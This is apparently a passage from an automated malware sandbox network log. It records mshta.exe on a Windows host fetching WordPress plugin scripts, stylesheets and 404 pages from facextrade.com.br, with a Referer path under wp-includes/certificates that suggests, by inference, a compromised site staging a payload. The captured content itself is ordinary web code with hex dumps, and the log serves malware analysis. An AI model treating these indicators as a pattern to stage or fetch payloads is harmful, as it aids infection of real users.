1>(a/=d/2)?b/2aa+c:-b/2(--a(a-2)-1)+c},easeInCubic:function(e,a,c,b,d){return b(a/=d)aa+c},easeOutCubic:function(e,a,c,b,d){return b((a=a/d-1)aa+1)+c},easeInOutCubic:function(e,a,c,b,d){return 1>(a/=d/2)?b/2aaa+c:b/2((a-=2)aa+2)+c},easeInQuart:function(e,a,c,b,d){return b(a/=d)aaa+c},easeOutQuart:function(e,a,c,b,d){return-b((a=a/d-1)aaa-1)+c},easeInOutQuart:function(e,a,c,b,d){return 1>(a/=d/2)?b/2aaaa+c:-b/2((a-=2)aaa-2)+c},easeInQuint:function(e,a,c,b,d){return b(a/=d)aaaa+c},easeOutQuint:function(e,a,c,b,d){return b((a=a/d-1)aaaa+1)+c},easeInOutQuint:function(e,a,c,b,d){return 1>(a/=d/2)?b/2aaaa*a+c
Aug 16, 2022 11:49:53.690792084 CEST	776	IN	Data Raw: 3a 62 2f 32 2a 28 28 61 2d 3d 32 29 2a 61 2a 61 2a 61 2a 61 2b 32 29 2b 63 7d 2c 65 61 73 65 49 6e 53 69 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 2d 62 2a 4d 61 74 68 2e 63 6f 73 28 61 2f 0a 64 2a 28 Data Ascii: :b/2((a-=2)aaaa+2)+c},easeInSine:function(e,a,c,b,d){return-bMath.cos(a/d(Math.PI/2))+b+c},easeOutSine:function(e,a,c,b,d){return bMath.sin(a/d(Math.PI/2))+c},easeInOutSine:function(e,a,c,b,d){return-b/2(Math.cos(Math.PI*a/d)-1)+c},
Aug 16, 2022 11:49:53.690809965 CEST	777	IN	Data Raw: 3b 66 7c 7c 28 66 3d 64 2a 30 2e 33 2a 31 2e 35 29 3b 67 3c 4d 61 74 68 2e 61 62 73 28 62 29 3f 28 67 3d 62 2c 65 3d 66 2f 34 29 3a 65 3d 66 2f 28 32 2a 4d 61 74 68 2e 50 49 29 2a 4d 61 74 68 2e 61 73 69 6e 28 62 2f 67 29 3b 72 65 74 75 72 6e 20 Data Ascii: ;f\|\|(f=d0.31.5);g<Math.abs(b)?(g=b,e=f/4):e=f/(2Math.PI)Math.asin(b/g);return 1>a?-0.5gMath.pow(2,10(a-=1))Math.sin((ad-e)2Math.PI/f)+c:0.5gMath.pow(2,-10(a-=1))Math.sin((ad-e)2Math.PI/f)+b+c},easeInBack:function(e,a,c,b,d,f)
Aug 16, 2022 11:49:53.694166899 CEST	777	OUT	GET /wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:53.915442944 CEST	833	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:47:24 GMT Server: Apache ETag: "a4fad2-1860-58592f81e2d80" Last-Modified: Tue, 02 Apr 2019 21:39:18 GMT Content-Length: 6240 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 21188787 14781127 Age: 150 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 6a 2c 63 2c 6c 29 7b 63 2e 66 6e 2e 74 6f 75 63 68 77 69 70 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 7b 6d 69 6e 5f 6d 6f 76 65 5f 78 3a 32 30 2c 6d 69 6e 5f 6d 6f 76 65 5f 79 3a 32 30 2c 77 69 70 65 4c 65 66 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 77 69 70 65 52 69 67 68 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 77 69 70 65 55 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 77 69 70 65 44 6f 77 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 45 76 65 6e 74 73 3a 21 30 7d 3b 61 26 26 63 2e 65 78 74 65 6e 64 28 62 2c 61 29 3b 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 74 68 69 73 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 6f 75 63 68 6d 6f 76 65 22 2c 63 29 3b 64 3d 6e 75 6c 6c 3b 6b 3d 21 31 7d 66 75 6e 63 74 69 6f 6e 20 63 28 68 29 7b 62 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 45 76 65 6e 74 73 26 26 68 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 69 66 28 6b 29 7b 76 61 72 20 66 3d 64 2d 68 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 70 61 67 65 58 3b 68 3d 65 2d 68 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 70 61 67 65 59 3b 4d 61 74 68 2e 61 62 73 28 66 29 3e 3d 62 2e 6d 69 6e 5f 6d 6f 76 65 5f 78 3f 28 61 28 29 2c 30 3c 66 3f 62 2e 77 69 70 65 4c 65 66 74 28 29 3a 62 2e 77 69 70 65 52 69 67 68 74 28 29 29 3a 4d 61 74 68 2e 61 62 73 28 68 29 3e 3d 62 2e 6d 69 6e 5f 6d 6f 76 65 5f 79 26 26 28 61 28 29 2c 0a 30 3c 68 3f 62 2e 77 69 70 65 44 6f 77 6e 28 29 3a 62 2e 77 69 70 65 55 70 28 29 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 66 28 61 29 7b 31 3d 3d 61 2e 74 6f 75 63 68 65 73 2e 6c 65 6e 67 74 68 26 26 28 64 3d 61 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 70 61 67 65 58 2c 65 3d 61 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 70 61 67 65 59 2c 6b 3d 21 30 2c 74 68 69 73 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 6f 75 63 68 6d 6f 76 65 22 2c 63 2c 21 31 29 29 7d 76 61 72 20 64 2c 65 2c 6b 3d 21 31 3b 22 6f 6e 74 6f 75 63 68 73 74 61 72 74 22 69 6e 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 74 68 69 73 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 6f 75 63 68 73 74 61 72 74 22 2c 66 2c 21 31 29 7d 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 63 2e 65 6c 61 73 74 69 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 74 68 69 73 2e 24 65 6c 3d 63 28 62 29 3b 74 68 69 73 2e 5f 69 6e 69 74 28 61 29 7d 3b 63 2e 65 6c 61 73 74 69 73 6c 69 64 65 2e 64 65 66 61 75 6c 74 73 3d 7b 73 70 65 65 64 3a 34 35 30 2c 65 61 73 69 6e 67 3a 22 65 61 73 65 4f 75 74 42 61 63 6b 22 2c 69 6d 61 67 65 57 3a 31 39 30 2c 6d 61 72 67 69 6e 3a 33 2c 62 6f 72 64 65 72 3a 32 2c 6d 69 6e 49 74 65 6d 73 3a 31 2c 63 75 72 72 65 6e 74 3a 30 2c 6f 6e 43 6c 69 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 21 31 7d 7d 3b 63 2e 65 6c 61 73 74 69 73 6c 69 64 Data Ascii: (function(j,c,l){c.fn.touchwipe=function(a){var b={min_move_x:20,min_move_y:20,wipeLeft:function(){},wipeRight:function(){},wipeUp:function(){},wipeDown:function(){},preventDefaultEvents:!0};a&&c.extend(b,a);this.each(function(){function a(){this.removeEventListener("touchmove",c);d=null;k=!1}function c(h){b.preventDefaultEvents&&h.preventDefault();if(k){var f=d-h.touches[0].pageX;h=e-h.touches[0].pageY;Math.abs(f)>=b.min_move_x?(a(),0<f?b.wipeLeft():b.wipeRight()):Math.abs(h)>=b.min_move_y&&(a(),0<h?b.wipeDown():b.wipeUp())}}function f(a){1==a.touches.length&&(d=a.touches[0].pageX,e=a.touches[0].pageY,k=!0,this.addEventListener("touchmove",c,!1))}var d,e,k=!1;"ontouchstart"in document.documentElement&&this.addEventListener("touchstart",f,!1)});return this};c.elastislide=function(a,b){this.$el=c(b);this._init(a)};c.elastislide.defaults={speed:450,easing:"easeOutBack",imageW:190,margin:3,border:2,minItems:1,current:0,onClick:function(){return!1}};c.elastislid
Aug 16, 2022 11:49:53.915482044 CEST	834	IN	Data Raw: 65 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 5f 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 0a 63 2e 65 78 74 65 6e 64 28 21 30 2c 7b 7d 2c 63 2e 65 6c 61 73 74 69 73 6c 69 64 65 2e 64 65 66 61 75 6c 74 73 Data Ascii: e.prototype={_init:function(a){this.options=c.extend(!0,{},c.elastislide.defaults,a);this.$slider=this.$el.find("ul");this.$items=this.$slider.children("li");this.itemsCount=this.$items.length;this.$esCarousel=this.$slider.parent();this._vali
Aug 16, 2022 11:49:53.915504932 CEST	835	IN	Data Raw: 7d 2c 5f 73 65 74 43 75 72 72 65 6e 74 56 61 6c 75 65 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 69 74 65 6d 57 3d 74 68 69 73 2e 24 69 74 65 6d 73 2e 6f 75 74 65 72 57 69 64 74 68 28 21 30 29 3b 74 68 69 73 2e 73 6c 69 64 65 72 57 3d Data Ascii: },_setCurrentValues:function(){this.itemW=this.$items.outerWidth(!0);this.sliderW=this.itemW*this.itemsCount;this.visibleWidth=this.$esCarousel.width();this.fitCount=Math.floor(this.visibleWidth/this.itemW)},_addControls:function(){this.$navNe
Aug 16, 2022 11:49:53.915529966 CEST	837	IN	Data Raw: 3b 74 68 69 73 2e 24 69 74 65 6d 73 2e 62 69 6e 64 28 22 63 6c 69 63 6b 2e 65 6c 61 73 74 69 73 6c 69 64 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 61 2e 6f 70 74 69 6f 6e 73 2e 6f 6e 43 6c 69 63 6b 28 63 28 74 68 69 73 29 29 7d 29 3b 61 2e 24 73 Data Ascii: ;this.$items.bind("click.elastislide",function(){a.options.onClick(c(this))});a.$slider.touchwipe({wipeLeft:function(){a._slide("right")},wipeRight:function(){a._slide("left")}})},_slide:function(a,b,g,j){if(this.$slider.is(":animated"))return
Aug 16, 2022 11:49:53.915554047 CEST	838	IN	Data Raw: 73 2e 6d 61 72 67 69 6e 3f 74 68 69 73 2e 5f 74 6f 67 67 6c 65 43 6f 6e 74 72 6f 6c 73 28 22 72 69 67 68 74 22 2c 31 29 3a 74 68 69 73 2e 5f 74 6f 67 67 6c 65 43 6f 6e 74 72 6f 6c 73 28 22 72 69 67 68 74 22 2c 2d 31 29 3b 63 2e 66 6e 2e 61 70 70 Data Ascii: s.margin?this._toggleControls("right",1):this._toggleControls("right",-1);c.fn.applyStyle=g===l?c.fn.animate:c.fn.css;this.$slider.applyStyle({marginLeft:b},c.extend(!0,[],{duration:this.options.speed,easing:this.options.easing,complete:funct
Aug 16, 2022 11:49:53.920778990 CEST	839	OUT	GET /wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:55.028577089 CEST	846	IN	HTTP/1.1 404 Not Found Date: Tue, 16 Aug 2022 09:49:54 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/" Content-Type: text/html; charset=UTF-8 X-Varnish: 21188789 Age: 0 Via: 1.1 varnish-v4 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 Data Ascii: 00104f<!DOCTYPE html>...[if lt IE 7 ]><html class="ie ie6" lang="pt-BR"> <![endif]-->...[if IE 7 ]><html class="ie ie7" lang="pt-BR"> <![endif]-->...[if IE 8 ]><html class="ie ie8" lang="pt-BR"> <![endif]-->...[if IE 9 ]><html class="ie ie9" lang="pt-BR"> <![endif]-->...[if (gt IE 9)\|!(IE)]>...><html lang="pt-BR"> ...<![endif]--><head><title>Error 404 Not Found \| Facex</title><meta name="description" content=" » Pgina no encontrada \| Facex Comrcio Exterior Ltda." /><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="profile" href="//gmpg.org/xfn/11" /><link rel="icon" href="http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico" type="image/x-icon" /><link rel="pingback" href="http://facextrade.com.br/xmlrpc.php" /><link rel="alternate" type="application/rss+xml" title="Facex" href="https://facextrade.com.br/feed/" /><link rel="alt
Aug 16, 2022 11:49:55.028631926 CEST	847	IN	Data Raw: 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f Data Ascii: ernate" type="application/atom+xml" title="Facex" href="https://facextrade.com.br/feed/atom/" /><link rel="stylesheet" type="text/css" media="all" href="http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css" /><
Aug 16, 2022 11:49:55.028656006 CEST	849	IN	Data Raw: 67 5c 2f 22 2c 22 73 76 67 45 78 74 22 3a 22 2e 73 76 67 22 2c 22 73 6f 75 72 63 65 22 3a 7b 22 63 6f 6e 63 61 74 65 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 5c 2f 77 70 2d 69 6e 63 6c 75 Data Ascii: g\/","svgExt":".svg","source":{"concatemoji":"http:\/\/facextrade.com.br\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.20"}};!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var
Aug 16, 2022 11:49:55.028676987 CEST	849	IN	Data Raw: 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3d 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 26 26 21 74 2e 73 75 70 70 6f 72 74 73 2e 66 6c 61 67 2c 74 2e 44 4f 4d 52 65 61 64 79 3d 21 31 Data Ascii: erythingExceptFlag=t.supports.everythingExceptFlag&&!t.supports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything\|\|(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1
Aug 16, 2022 11:49:55.031181097 CEST	851	IN	Data Raw: 30 30 31 30 31 64 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 0a 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 Data Ascii: 00101d<style type="text/css">img.wp-smiley,img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 .07em !important;vertical-align: -0.1

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.22	49198	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:49:54.118828058 CEST	843	OUT	GET /wp-content/themes/CherryFramework/style.css HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:54.331494093 CEST	844	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:44:56 GMT Server: Apache ETag: "a52f1b-20b-58592c21db700" Last-Modified: Tue, 02 Apr 2019 21:24:12 GMT Content-Length: 523 Content-Type: text/css Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20836417 17003366 Age: 298 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 0a 09 54 68 65 6d 65 20 4e 61 6d 65 3a 20 63 68 65 72 72 79 0a 09 54 68 65 6d 65 20 55 52 49 3a 20 2f 2f 69 6e 66 6f 2e 74 65 6d 70 6c 61 74 65 2d 68 65 6c 70 2e 63 6f 6d 2f 68 65 6c 70 2f 0a 09 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 41 20 74 68 65 6d 65 20 66 6f 72 20 57 6f 72 64 70 72 65 73 73 20 33 2e 38 2e 78 0a 09 41 75 74 68 6f 72 3a 20 54 65 6d 70 6c 61 74 65 5f 48 65 6c 70 2e 63 6f 6d 0a 09 41 75 74 68 6f 72 20 55 52 49 3a 20 2f 2f 69 6e 66 6f 2e 74 65 6d 70 6c 61 74 65 2d 68 65 6c 70 2e 63 6f 6d 2f 68 65 6c 70 2f 0a 09 56 65 72 73 69 6f 6e 3a 20 33 2e 31 2e 35 2e 31 0a 09 54 61 67 73 3a 20 64 61 72 6b 2c 20 6c 69 67 68 74 2c 20 77 68 69 74 65 2c 20 62 6c 61 63 6b 2c 20 67 72 61 79 2c 20 6c 65 66 74 2d 73 69 64 65 62 61 72 2c 20 72 69 67 68 74 2d 73 69 64 65 62 61 72 2c 20 66 69 78 65 64 2d 77 69 64 74 68 2c 20 66 6c 65 78 69 62 6c 65 2d 77 69 64 74 68 2c 20 63 75 73 74 6f 6d 2d 6d 65 6e 75 2c 20 65 64 69 74 6f 72 2d 73 74 79 6c 65 2c 20 66 65 61 74 75 72 65 64 2d 69 6d 61 67 65 73 2c 20 66 75 6c 6c 2d 77 69 64 74 68 2d 74 65 6d 70 6c 61 74 65 2c 20 70 6f 73 74 2d 66 6f 72 6d 61 74 73 2c 20 72 74 6c 2d 6c 61 6e 67 75 61 67 65 2d 73 75 70 70 6f 72 74 2c 20 73 74 69 63 6b 79 2d 70 6f 73 74 2c 20 74 68 65 6d 65 2d 6f 70 74 69 6f 6e 73 2c 20 74 72 61 6e 73 6c 61 74 69 6f 6e 2d 72 65 61 64 79 0a 09 4c 69 63 65 6e 73 65 3a 0a 09 4c 69 63 65 6e 73 65 20 55 52 49 3a 20 68 74 74 70 3a 2f 2f 0a 09 54 65 78 74 20 44 6f 6d 61 69 6e 3a 20 63 68 65 72 72 79 0a 2a 2f 0a 40 69 6d 70 6f 72 74 20 22 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 3b 0a Data Ascii: /Theme Name: cherryTheme URI: //info.template-help.com/help/Description: A theme for Wordpress 3.8.xAuthor: Template_Help.comAuthor URI: //info.template-help.com/help/Version: 3.1.5.1Tags: dark, light, white, black, gray, left-sidebar, right-sidebar, fixed-width, flexible-width, custom-menu, editor-style, featured-images, full-width-template, post-formats, rtl-language-support, sticky-post, theme-options, translation-readyLicense:License URI: http://Text Domain: cherry/@import "css/style.css";
Aug 16, 2022 11:49:54.338789940 CEST	845	OUT	GET /wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:55.450530052 CEST	865	IN	HTTP/1.1 404 Not Found Date: Tue, 16 Aug 2022 09:49:54 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/" Content-Type: text/html; charset=UTF-8 X-Varnish: 20836419 Age: 0 Via: 1.1 varnish-v4 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 